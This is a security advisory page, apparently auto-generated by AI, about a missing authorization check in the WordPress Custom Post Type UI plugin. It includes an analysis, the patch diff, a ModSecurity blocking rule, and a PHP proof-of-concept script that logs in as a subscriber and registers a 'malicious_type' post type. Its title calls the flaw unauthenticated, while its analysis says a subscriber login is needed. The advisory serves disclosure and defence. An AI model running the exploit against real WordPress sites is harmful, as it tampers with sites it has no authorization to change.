Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 21, 2026

CVE-2025-12826: Custom Post Type UI <= 1.18.0 – Missing Authorization to Unauthenticated (Previously Administrator+) Custom Post Type Modification (custom-post-type-ui)

Severity Medium (CVSS 4.8)
CWE 862
Vulnerable Version 1.18.0
Patched Version 1.18.1
Disclosed December 2, 2025

Analysis Overview

Atomic Edge analysis of CVE-2025-12826:
This vulnerability is an authorization bypass in the WordPress Custom Post Type UI plugin, affecting versions up to and including 1.18.0. The flaw allows authenticated attackers with subscriber-level access or higher to modify custom post type definitions, a function intended only for administrators.

Atomic Edge research identifies the root cause in the `cptui_process_post_type()` and `cptui_process_taxonomy()` functions within the plugin’s core processing logic. The vulnerable code, located in `/inc/post-types.php` and `/inc/taxonomies.php`, lacked any capability check before executing administrative actions. The functions began by checking for an AJAX context but proceeded to process incoming POST data for modifying post types and taxonomies without verifying the user’s permissions.

Exploitation requires an authenticated attacker to send a crafted POST request to the WordPress admin area. The attacker must target the plugin’s internal processing hooks, which are triggered during normal admin page loads. The payload consists of POST parameters that define new or modified custom post type settings, such as `cpt_custom_post_type[name]` and `cpt_custom_post_type[label]`. No special action parameter is required, as the vulnerability exists in the plugin’s general form handling routine.

The patch adds a capability check at the beginning of both vulnerable functions. In `/inc/post-types.php` at line 2402 and `/inc/taxonomies.php` at line 1986, the code now includes `if ( ! current_user_can( ‘manage_options’ ) ) { return; }`. This condition ensures only users with the `manage_options` capability, typically administrators, can execute the post type and taxonomy modification logic. The fix immediately terminates function execution for unauthorized users, preventing any data processing.

Successful exploitation enables an attacker with minimal privileges to add, edit, or delete custom post types and taxonomies. This can disrupt site functionality, break front-end templates that rely on specific post type structures, and potentially lead to privilege escalation if custom post types are integrated with other plugins that enforce their own permission schemes. The impact is limited to situations where the attacker can access the WordPress backend, but the vulnerability significantly lowers the barrier for site configuration compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/custom-post-type-ui/build/cptui.asset.php
+++ b/custom-post-type-ui/build/cptui.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '27e37540e2c6cb034823');
+<?php return array('dependencies' => array(), 'version' => 'd000a5c9efc720ffeec4');
--- a/custom-post-type-ui/custom-post-type-ui.php
+++ b/custom-post-type-ui/custom-post-type-ui.php
@@ -16,7 +16,7 @@
  * Plugin URI: https://github.com/WebDevStudios/custom-post-type-ui/
  * Description: Admin UI panel for registering custom post types and taxonomies
  * Author: WebDevStudios
- * Version: 1.18.0
+ * Version: 1.18.1
  * Author URI: https://webdevstudios.com/
  * Text Domain: custom-post-type-ui
  * Domain Path: /languages
@@ -33,8 +33,8 @@
 	exit;
 }

-define( 'CPT_VERSION', '1.18.0' ); // Left for legacy purposes.
-define( 'CPTUI_VERSION', '1.18.0' );
+define( 'CPT_VERSION', '1.18.1' ); // Left for legacy purposes.
+define( 'CPTUI_VERSION', '1.18.1' );
 define( 'CPTUI_WP_VERSION', get_bloginfo( 'version' ) );

 /**
--- a/custom-post-type-ui/inc/about.php
+++ b/custom-post-type-ui/inc/about.php
@@ -86,26 +86,6 @@
 		do_action( 'cptui_main_page_before_changelog' );
 		?>

-		<h2>
-			<?php
-			printf(
-			// translators: Placeholder will hold the plugin version.
-				esc_html__( "What's new in version %s", 'custom-post-type-ui' ),
-				esc_html( CPTUI_VERSION )
-			);
-			?>
-		</h2>
-		<div class="changelog about-integrations">
-			<div class="cptui-feature feature-section col three-col">
-				<div class="col">
-					<h2><?php esc_html_e( 'Post type migration support', 'custom-post-type-ui' ); ?></h2>
-					<p><?php esc_html_e( 'If you are trying to move post types into CPTUI, you can now mark as such to prevent slug conflicts notices.', 'custom-post-type-ui' ); ?></p>
-					<h2><?php esc_html_e( 'Moved to minimum of WordPress 6.3.', 'custom-post-type-ui' ); ?></h2>
-					<p><?php esc_html_e( 'The move to require WordPress 6.3 allowed for adding "item_trashed" label support.', 'custom-post-type-ui' ); ?></p>
-				</div>
-			</div>
-		</div>
-
 		<div class="extranotes">
 			<?php

--- a/custom-post-type-ui/inc/post-types.php
+++ b/custom-post-type-ui/inc/post-types.php
@@ -1398,7 +1398,7 @@
 										'custom-post-type-ui'
 									),
 									sprintf(
-										'<a href="https://developer.wordpress.org/reference/functions/register_post_type/#menu_position" target="_blank" rel="noopener">%s</a>',
+										'<a href="https://developer.wordpress.org/reference/functions/register_post_type/#menu_position" target="_blank">%s</a>',
 										esc_html__( 'Available options', 'custom-post-type-ui' )
 									)
 								)
@@ -1475,7 +1475,7 @@
 									'aftertext' => esc_attr__( '(Full URL for icon or Dashicon class)', 'custom-post-type-ui' ),
 									'helptext'  => sprintf(
 										esc_html__( 'Image URL or %sDashicon class name%s to use for icon. Custom image should be 20px by 20px.', 'custom-post-type-ui' ), // phpcs:ignore.
-										'<a href="https://developer.wordpress.org/resource/dashicons/" target="_blank" rel="noopener">',
+										'<a href="https://developer.wordpress.org/resource/dashicons/" target="_blank">',
 										'</a>'
 									),
 									'wrap'      => false,
@@ -1524,7 +1524,7 @@

 							echo $ui->get_p(
 								sprintf(
-									'<a href="%s" target="_blank" rel="noopener">%s</a><br/><a href="%s" target="_blank" rel="noopener">%s</a>',
+									'<a href="%s" target="_blank">%s</a><br/><a href="%s" target="_blank">%s</a>',
 									esc_url( 'https://developer.wordpress.org/reference/functions/add_theme_support/#post-thumbnails' ),
 									/* translators: Link text for WordPress Developer site. */
 									esc_html__( 'Theme support for featured images', 'custom-post-type-ui' ),
@@ -1709,7 +1709,7 @@
 							echo $ui->get_fieldset_end() . $ui->get_td_end() . $ui->get_tr_end(); // phpcs:ignore.

 							echo $ui->get_tr_start() . $ui->get_th_start() . '<label for="custom_supports">' . esc_html__( 'Custom "Supports"', 'custom-post-type-ui' ) . '</label>'; // phpcs:ignore.
-							echo $ui->get_p( sprintf( esc_html__( 'Use this input to register custom "supports" values, separated by commas. Learn about this at %s', 'custom-post-type-ui' ), '<a href="https://docs.pluginize.com/article/third-party-support-upon-registration/" target="_blank" rel="noopener">' . esc_html__( 'Custom "Supports"', 'custom-post-type-ui' ) . '</a>' ) ); // phpcs:ignore.
+							echo $ui->get_p( sprintf( esc_html__( 'Use this input to register custom "supports" values, separated by commas. Learn about this at %s', 'custom-post-type-ui' ), '<a href="https://docs.pluginize.com/article/third-party-support-upon-registration/" target="_blank">' . esc_html__( 'Custom "Supports"', 'custom-post-type-ui' ) . '</a>' ) ); // phpcs:ignore.
 							echo $ui->get_th_end() . $ui->get_td_start(); // phpcs:ignore.
 							echo $ui->get_text_input( // phpcs:ignore.
 								[
@@ -2399,6 +2399,10 @@
  */
 function cptui_process_post_type() {

+	if ( ! current_user_can( 'manage_options' ) ) {
+		return;
+	}
+
 	if ( wp_doing_ajax() ) {
 		return;
 	}
--- a/custom-post-type-ui/inc/support.php
+++ b/custom-post-type-ui/inc/support.php
@@ -141,7 +141,7 @@
 						<li>
 							<span tabindex="0" class="question" aria-controls="q9" aria-expanded="false"><?php esc_html_e( 'I changed my custom post type name and now I can not get to my posts. How do I get them back?', 'custom-post-type-ui' ); ?></span>
 							<div class="answer" id="q9"><?php esc_html_e( 'You can either change the custom post type name back to the original name or try the Post Type Switcher plugin', 'custom-post-type-ui' ); ?>
-								<a href="https://wordpress.org/plugins/post-type-switcher/" target="_blank" rel="noopener">https://wordpress.org/plugins/post-type-switcher/</a>
+								<a href="https://wordpress.org/plugins/post-type-switcher/">https://wordpress.org/plugins/post-type-switcher/</a>
 							</div>
 						</li>
 						<li>
@@ -150,7 +150,7 @@
 						</li>
 						<li>
 							<span tabindex="0" class="question" aria-controls="q11" aria-expanded="false"><?php esc_html_e( 'I have added post thumbnail and/or post format support to my post type, but those do not appear when adding a post type post.', 'custom-post-type-ui' ); ?></span>
-							<div class="answer" id="q11"><?php esc_html_e( 'Make sure your theme has post "post-thumbnails" theme support enabled.', 'custom-post-type-ui' ); ?> <a href="https://developer.wordpress.org/reference/functions/add_theme_support/" target="_blank" rel="noopener">https://developer.wordpress.org/reference/functions/add_theme_support/</a></div>
+							<div class="answer" id="q11"><?php esc_html_e( 'Make sure your theme has post "post-thumbnails" theme support enabled.', 'custom-post-type-ui' ); ?> <a href="https://developer.wordpress.org/reference/functions/add_theme_support/">https://developer.wordpress.org/reference/functions/add_theme_support/</a></div>
 						</li>
 					</ol>
 				</td>
@@ -166,7 +166,7 @@
 								printf(
 									/* translators: Placeholders are just for HTML markup that doesn't need translated */
 									esc_html__( 'Please visit the %1$sTemplate Hierarchy%2$s page on the WordPress codex for details about available templates.', 'custom-post-type-ui' ),
-									'<a href="https://developer.wordpress.org/themes/basics/template-hierarchy/" target="_blank" rel="noopener">',
+									'<a href="https://developer.wordpress.org/themes/basics/template-hierarchy/">',
 									'</a>'
 								);
 								?>
@@ -184,7 +184,7 @@
 										'https://pluginize.com/plugins/custom-post-type-ui-extended/?utm_source=faq&utm_medium=text&utm_campaign=cptui',
 										'Custom Post Type UI Extended'
 									),
-									'<a href="https://developer.wordpress.org/reference/classes/wp_query/" target="_blank" rel="noopener">WP_Query</a>'
+									'<a href="https://developer.wordpress.org/reference/classes/wp_query/">WP_Query</a>'
 								);
 								?>
 							</div>
@@ -196,7 +196,7 @@
 								printf(
 									/* translators: Placeholders are just for HTML markup that doesn't need translated */
 									esc_html__( 'You will need to add your newly created post type to the types that the category and tag archives query for. You can see a tutorial on how to do that at %s. You can also get this functionality via UI with a purchase of CPTUI-Extended', 'custom-post-type-ui' ),
-									'<a href="https://docs.pluginize.com/article/post-types-in-category-tag-archives/" target="_blank" rel="noopener">https://docs.pluginize.com/article/post-types-in-category-tag-archives/</a>'
+									'<a href="https://docs.pluginize.com/article/post-types-in-category-tag-archives/">https://docs.pluginize.com/article/post-types-in-category-tag-archives/</a>'
 								);
 								?>
 								</div>
@@ -208,7 +208,7 @@
 								printf(
 									/* translators: Placeholders are just for HTML markup that doesn't need translated */
 									esc_html__( 'Please visit the %1$sPost Type Templates in 4.7%2$s post on the Make WordPress Core blog for details about setting templates for multiple post types.', 'custom-post-type-ui' ),
-									'<a href="https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/" target="_blank" rel="noopener">',
+									'<a href="https://make.wordpress.org/core/2016/11/03/post-type-templates-in-4-7/">',
 									'</a>'
 								);
 								?>
@@ -234,7 +234,7 @@
 								printf(
 									/* translators: Placeholders are just for HTML markup that doesn't need translated */
 									esc_html__( 'We recommend checking out %s, the latest iteration of "CMB2". Both are supported by WebDevStudios.', 'custom-post-type-ui' ),
-									'<a href="https://wordpress.org/plugins/cmb2/" target="_blank" rel="noopener">CMB2</a>'
+									'<a href="https://wordpress.org/plugins/cmb2/">CMB2</a>'
 								);
 								?>
 							</div>
@@ -246,7 +246,7 @@
 								printf(
 									/* translators: Placeholders are just for HTML markup that doesn't need translated */
 									esc_html__( 'Check out the %s function for documentation and usage examples.', 'custom-post-type-ui' ),
-									'<a href="https://developer.wordpress.org/reference/functions/register_taxonomy_for_object_type/" target="_blank" rel="noopener">register_taxonomy_for_object_type()</a>'
+									'<a href="https://developer.wordpress.org/reference/functions/register_taxonomy_for_object_type/">register_taxonomy_for_object_type()</a>'
 								);
 								?>
 							</div>
@@ -257,11 +257,8 @@
 								<?php
 								printf(
 									/* translators: Placeholders are just for HTML markup that doesn't need translated */
-									esc_html__( '%1$s has an excellent %2$spost%3$s introducing users to the %4$sPosts 2 Posts%5$s plugin that should be a good start.', 'custom-post-type-ui' ),
-									'Pippin Williamson',
-									'<a href="https://pippinsplugins.com/introduction-posts-2-posts-plugin/" target="_blank" rel="noopener">',
-									'</a>',
-									'<a href="https://wordpress.org/plugins/posts-to-posts/" target="_blank" rel="noopener">',
+									esc_html__( 'We recommend the %1$sPosts 2 Posts%2$s plugin.', 'custom-post-type-ui' ),
+									'<a href="https://wordpress.org/plugins/posts-to-posts/">',
 									'</a>'
 								);
 								?>
@@ -287,7 +284,7 @@
 								printf(
 									/* translators: Placeholders are just for HTML markup that doesn't need translated */
 									esc_html__( 'We recommend %s for some extended customization and addition of extra fields regarding roles and capabilities.', 'custom-post-type-ui' ),
-									'<a href="https://github.com/tw2113/custom-post-type-ui-capabilities" target="_blank" rel="noopener">Custom Post Type UI Capabilities on GitHub</a>'
+									'<a href="https://github.com/tw2113/custom-post-type-ui-capabilities">Custom Post Type UI Capabilities on GitHub</a>'
 								);
 								?>
 									</p>
--- a/custom-post-type-ui/inc/taxonomies.php
+++ b/custom-post-type-ui/inc/taxonomies.php
@@ -1983,6 +1983,10 @@
  */
 function cptui_process_taxonomy() {

+	if ( ! current_user_can( 'manage_options' ) ) {
+		return;
+	}
+
 	if ( wp_doing_ajax() ) {
 		return;
 	}
--- a/custom-post-type-ui/inc/utility.php
+++ b/custom-post-type-ui/inc/utility.php
@@ -112,16 +112,16 @@
 		esc_attr__( '%1$s version %2$s by %3$s', 'custom-post-type-ui' ),
 		esc_attr__( 'Custom Post Type UI', 'custom-post-type-ui' ),
 		CPTUI_VERSION,
-		'<a href="https://webdevstudios.com" target="_blank" rel="noopener">WebDevStudios</a>'
+		'<a href="https://webdevstudios.com">WebDevStudios</a>'
 	) . ' - ' .
 	sprintf(
 		// translators: Placeholders are just for HTML markup that doesn't need translated.
-		'<a href="http://wordpress.org/support/plugin/custom-post-type-ui" target="_blank" rel="noopener">%s</a>',
+		'<a href="https://wordpress.org/support/plugin/custom-post-type-ui">%s</a>',
 		esc_attr__( 'Support forums', 'custom-post-type-ui' )
 	) . ' - ' .
 	sprintf(
 		// translators: Placeholders are just for HTML markup that doesn't need translated.
-		'<a href="https://wordpress.org/plugins/custom-post-type-ui/reviews/" target="_blank" rel="noopener">%s</a>',
+		'<a href="https://wordpress.org/plugins/custom-post-type-ui/reviews/">%s</a>',
 		sprintf(
 			// translators: Placeholder will hold `<abbr>` tag for CPTUI.
 			esc_attr__( 'Review %s', 'custom-post-type-ui' ),
@@ -133,11 +133,11 @@
 			)
 		)
 	) . ' - ' .
-	esc_attr__( 'Follow on Twitter:', 'custom-post-type-ui' ) .
+	esc_attr__( 'Follow on X:', 'custom-post-type-ui' ) .
 	sprintf(
 		// translators: Placeholders are just for HTML markup that doesn't need translated.
 		' %s',
-		'<a href="https://twitter.com/webdevstudios" target="_blank" rel="noopener">WebDevStudios</a>'
+		'<a href="https://x.com/webdevstudios">WebDevStudios</a>'
 	);
 }
 add_filter( 'admin_footer_text', 'cptui_footer' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@beginsWith /wp-admin/admin.php" 
  "id:202512826,phase:2,deny,status:403,chain,msg:'CVE-2025-12826 - Unauthorized Custom Post Type UI modification attempt',severity:'CRITICAL',tag:'CVE-2025-12826',tag:'WordPress',tag:'Custom-Post-Type-UI'"
  SecRule ARGS_GET:page "@streq cptui_manage_post_types" "chain"
    SecRule ARGS_POST:cpt_custom_post_type "@unconditionalMatch" "chain"
      SecRule &ARGS_POST:cpt_custom_post_type "@gt 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12826 - Custom Post Type UI <= 1.18.0 - Missing Authorization to Unauthenticated (Previously Administrator+) Custom Post Type Modification
<?php
// Configure target
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php?page=cptui_manage_post_types';
$username = 'subscriber'; // Attacker credentials (subscriber role)
$password = 'password';

// Initialize session
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only

// 1. Authenticate to WordPress
$login_url = 'http://vulnerable-wordpress-site.com/wp-login.php';
$postfields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
$response = curl_exec($ch);

// 2. Craft malicious POST request to modify custom post type
// The plugin processes POST data on admin page load via cptui_process_post_type()
$malicious_post = [
    'cpt_custom_post_type' => [
        'name' => 'malicious_type',
        'label' => 'Malicious Posts',
        'singular_label' => 'Malicious Post',
        'description' => 'Created via CVE-2025-12826 exploit',
        'public' => 'true',
        'publicly_queryable' => 'true',
        'show_ui' => 'true',
        'show_in_nav_menus' => 'true',
        'show_in_menu' => 'true',
        'show_in_admin_bar' => 'true',
        'menu_position' => '5',
        'menu_icon' => '',
        'capability_type' => 'post',
        'hierarchical' => 'false',
        'supports' => ['title', 'editor', 'thumbnail'],
        'taxonomies' => [],
        'labels' => [],
        'custom_supports' => ''
    ],
    'cpt_type_submit' => 'true',
    'cpt_post_type_name' => 'malicious_type'
];

// 3. Send exploit payload
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($malicious_post));
$response = curl_exec($ch);

// 4. Check for success indicators
if (strpos($response, 'Post type updated successfully') !== false || strpos($response, 'New post type registered successfully') !== false) {
    echo "[+] Exploit successful. Custom post type 'malicious_type' created/modified.n";
} else {
    echo "[-] Exploit may have failed or site is patched.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School